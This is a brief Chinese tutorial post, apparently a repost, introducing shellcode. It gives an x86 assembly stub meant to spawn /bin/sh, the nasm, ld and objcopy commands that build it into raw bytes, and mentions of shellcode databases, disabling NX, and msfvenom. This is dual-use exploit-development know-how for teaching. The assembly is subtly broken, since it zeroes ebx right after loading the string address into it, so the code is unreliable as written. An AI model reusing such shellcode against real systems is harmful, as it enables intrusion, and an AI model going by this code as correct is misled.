( 原文地址:https://0xffff.one/d/344 )

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名——wiki

简单来说就是一段可以执行特定功能(一定情况下)的“字符串”。

shellcode可以自己写汇编生成,比如(假设文件名shell.asm):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[section .data]
global _start
_start:
jmp sh

se:
pop ebx
xor eax, eax
mov al, 11
xor ecx, ecx
xor ebx, ebx
int 0x80

sh:
call se
db '/bin/sh',0

要编译成x86的shellcode的话(不同系统架构生成的shellcode是不同的)可以通过执行下面命令编译:

1
2
3
nasm -felf32 shell.asm -o shell.o
ld -melf_i386 shell.o -o shell
objcopy -O binary shell.o shell.bin

最后shell.bin里面就是想要的shellcode。

shellcode也可以到网上的数据库去找,比如这个,打开其中一个页面看一下:

里面是这个shellcode的一个C语言的deemo,复制下来编译运行一下(是x86的,所以要编译成32位程序,还要关闭NX保护),运行时可以成功跑出一个shell:

查数据库的话其实还是有一定局限性的,比如我只想运行特定的命令,或者绕过某一些限制。所以还有另一种做法的话是用工具生成,比如有一个叫msfvenom的,可以根据要执行的命令生成shellcode,比如我只想执行"uname -a":

(但其实还是觉得手写的shellcode才是坠吼的 - -)